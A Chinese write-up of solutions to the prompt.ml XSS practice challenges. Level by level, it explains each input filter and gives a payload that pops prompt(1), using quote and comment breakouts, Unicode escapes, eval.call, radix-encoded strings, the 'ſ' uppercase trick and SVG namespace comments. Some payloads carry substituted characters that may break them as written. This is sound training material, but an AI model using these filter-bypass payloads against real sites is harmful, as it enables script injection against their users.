本次练习网站:http://prompt.ml/
练习网站
要求:弹窗成功出现you win

0x0:闭合引号

在这里插入图片描述

输出在value内,首先闭合再进行prompt(1)的弹窗。

1"><script> prompt(1)</script>

在这里插入图片描述

0x1:html不严谨性,单标签自动补全功能

在这里插入图片描述

它过滤了一个完整的标签,当<…/> 存在便过滤为空。为此利用html的自动补全,单标签的>符号功能。

<img  src="1" οnerrοr="prompt(1)"

在这里插入图片描述

0x02:call函数

在这里插入图片描述

因为这里=与( 都被过滤了。因此我们可以使用Unicode编码,不使用html实体编码是因为它不能在JavaScript中使用回无效的。

关于call函数:	call把eval绑定在绑定,直接用eval执行字符串,即等价于eval(`prompt(1)`)的执行
eval() 函数会将传入的字符串当做 JavaScript 代码进行执行

call传两个值:eval的指向,与eval执行的值
第一个传值为空时指向Windows的全局变量,后返回字符串prompt(1)。
因为指向全局变量,在全局中有prompt(1)函数,如此就执行这个函数
在这里插入图片描述
字符串是eval来执行的,最后返回的是给eval这个返回值
call收到一个值为空于是指向Windows的全局
在这里插入图片描述
aaaaa在Windows全局没有这个函数
在这里插入图片描述
这里直接将eval执行相当于别名调用,这里就想到与call方法强行指向prompt(1),但是js官网为了安全指向了全局,但是目前第二个参数没有传值,所有undefind。
call的传给指向与执行值
eval的别名:call在这传的值不是空,而是具体的值时就是他的别名。 JavaScript中默认别名指向全局

<script>eval.call`${`prompt\u00281)`}`</script>

在这里插入图片描述

0x03:闭合注释

在这里插入图片描述

题目中我们将在注释中输入内容,为此考虑闭合注释。但是它过滤了–>的注释方法。为此我们可以使用–!>来闭合第一个注释。后面的注释可以不闭合不影响。

html注释:
1、<!-- -->
2、<!-- -->

JavaScript的注释
1、//
2、 开头使用 --> 

解题:
	--!><script>prompt(1)</script>

在这里插入图片描述

0x04:@的分割作用

在这里插入图片描述

题目要求有http://prompt.ml/,为此使用@来使用test.js文件来应用。

在这里插入图片描述

http://prompt.ml/@127.0.0.1/test.js

在这里插入图片描述

0x05:html的不严谨性,换行连续

在这里插入图片描述

题目过滤了on.*=即一定程度上禁用了事假。但是对于html里的事件=换行使用仍然是有效的。

1"  type="image" src=1 onerror
="prompt(1)

在这里插入图片描述

0x06:# 分割作用

在这里插入图片描述

var segments = input.split(‘#’);
#其分割作用,即把http://httpbin.org/post分为组1,把{“name”:“Matt”}分为组2
在这里插入图片描述
var formURL = segments[0]; url取第一个组,就如http://httpbin.org/post
var formData = JSON.parse(segments[1]);:data取第二个组,即如{“name”:“Matt”}
在这里插入图片描述
form.action = formURL; form.method = ‘post’;
即:把URL给了action;模式设置为POST模式
在这里插入图片描述

在这里插入图片描述
随后进入循环var i in formData,把 formData的值赋值给i。
而后input.name=i,这个i就是fromdata对象里的key值,也就是name,
然后给value赋值为fromData的值,也就是Matt。
以上这些步骤就相当于创建了一个from表单。

在这里插入图片描述>i:ignor 忽略大小写
创建form后进入下一个if的判断,条件上说明如果没有script或data数据的就无法进入下一步,而是直接判断结果。还有一点就是它要求了为action。
因为这个action会干扰我们直接使用JavaScript:prompt(1)后面{“name”:“Matt”}的输出。
不然因为这个action我们#后的{“name”:“Matt”}是无法显示的。但是我们可以重新定义这个action,将其覆盖之前它的action。也就是如果action的值相同的时候,后一个会把前一个给覆盖掉。
综上:
要有使用prompt与#的分割。
依照if的条件!/script:|data:/i.test(document.forms[0].action,使用#。
在这里插入图片描述

因此填写JavaScript:prompt(1)#{“action”:“Matt”}

JavaScript:prompt(1)#{"action":"Matt"}

在这里插入图片描述

0x07:注释绕过让长度限制

在这里插入图片描述

题目获取到信息
1、title最多12个字符
2、连接符号是换行符,#分割开
3、join字符转字符串并且用换行符连接

其中#分割开,但是为了绕过0-12的slice限制。利用注释把这个分为一段又一段,每段都在范围内。

"><script>/*#*/prompt(/*#*/1)/*#*/</script>

在这里插入图片描述

/*"></p><p class="comment" title="*/   这个为一组注释

注意标签得完整不能分开

标签不完整会失去意义
1、不完整
在这里插入图片描述
2、不完整
在这里插入图片描述

0x08:Unicode的\u2028与\u2029

在这里插入图片描述
Windows的\r\n联用,是换号并开头.
js接受unciode编码的2028行分隔符,2029段分隔符

avascript字符串允许直接输入字符,以及字符的转义形式。但是javascript中有5个字符规定了不能在字符串中直接使用,只能使用他们的转义形式

1、u005c:反斜杠
2、u000D:回车
3、u0028:行分隔符
4、u0029:段分隔符
5、u000A:换行符

题目将<,/ 和‘"’ 给过滤掉了,为此我们利用Unicode换行。

我们想输入的效果

		prompt(1)
		-->
为此通过Unicode换行在控制器转换再复制:
	\u2028:行换行符
	即: \u2028prompt(1)\u2028

	输入转换的复制一下:
		'prompt(1)-->

在这里插入图片描述

在这里插入图片描述

0X09:转编码,与ſ符号使用

在这里插入图片描述

题目把字母全替换为大写了。为此可以使用svg,或者引用文件

<ſvg/οnlοad=&#112;&#114;&#111;&#109;&#112;&#116;(1)>
<ſcript src="http://127.0.0.1/test.js"></ſcript>

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

0xA:字母插入符号,字母替换空,字母无影响

在这里插入图片描述

题目将prompt替换为了alert;'换为了空。利用这个’卡bug,就是出入到prompt中就变成pro’mpt。因为替换为了空,就变成了prompt。

pro'mpt(1)

在这里插入图片描述

0xb

在这里插入图片描述

这里就是一个技巧"(prompt(1))in"会弹窗

"(prompt(1))in"

在这里插入图片描述

0x0c:parseInt函数

在这里插入图片描述
'替换为空,导致你如果用之前的方法prom‘’pt依然输入prompt,然后转为alertl了。

利用parseInt,是Javascript内置函数,原型为parseInt ( String s , [ int radix ]),用于解析一个字符串,并返回一个整数。

tostring()方法可把一个Number对象转换为一个字符串,并返回结果。
官方文档:
parseInt(string, radix) 解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。
这个范围2-36是数字加上字母的,
相关文档:parseInt
在这里插入图片描述

eval(630038579..toString(30))(1)

在这里插入图片描述

0x0f:

在这里插入图片描述

这个题与之前的0x07相似不同是限制反而与过滤了*符号为空。为此不能使用/* . . */的多行注释,可以使用<!-- .. -->实现多行注释。
字符数从#后面开始算

不可行:
1"><!--#--><script><!--#--> prompt(1)<!--#--></script>

在这里插入图片描述

这个如同显示已经注释了,但是没有成功。为此更改了模块字符串形式。

"><script>`<!–-#–->${prompt(1)}<!-–#–->`</script>

在这里插入图片描述

解释第一次尝试出错原因:

1"><!--#--><script><!--#--> prompt(1)<!--#--></script>

关于上面的注释,我们最终想输入的效果是下图

 <script>prompt(1)</script>

在这里插入图片描述

但是当我们使用注释符号的时候
在这里插入图片描述

可见script标签内的<!-- --> 的注释没有生效。其实原因很简单。其中一个是因为script只能容纳文本,另一个原因是script标签内是js格式,而这个是html的注释是无法识别的。

在js中的注释
// 注释单行
/**/ 注释块和注释多行

此外我还在网上发现利用命名空间的转换,可以使用script内的html标签生效。

1"><svg><!--#--><script><!--#--> prompt(1)<!--#--></script>

在这里插入图片描述

HTML 解析器可以创建一个包含三个命名空间元素的 DOM 树:

  • HTML 命名空间 ( http://www.w3.org/1999/xhtml)
  • SVG 命名空间 ( http://www.w3.org/2000/svg)
  • MathML 命名空间 (http://www.w3.org/1998/Math/MathML)
    默认情况下,所有元素都在 HTML 命名空间中;但是,如果解析器遇到<svg>or<math>元素,则它分别“切换”到 SVG 和 MathML 命名空间。并且这两个命名空间都会产生外部内容。

其中svg如同xml格式,因此接受xml语法。xml的注释符与html一样的,xml接受编码。

xml文件 注释
第一种(单行):

   <!--  注释内容   -->

第二种(多行):

<!--      
		注释内容(无其他注释符)
-->

第三种(多行):

<![CDATA[   
		注释内容(包含其他注释符)
]]>

由上发现xml的注释含有html的所有注释,为此xml文件是支持html注释的。为此转换为svg可以使<!-- -->生效

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐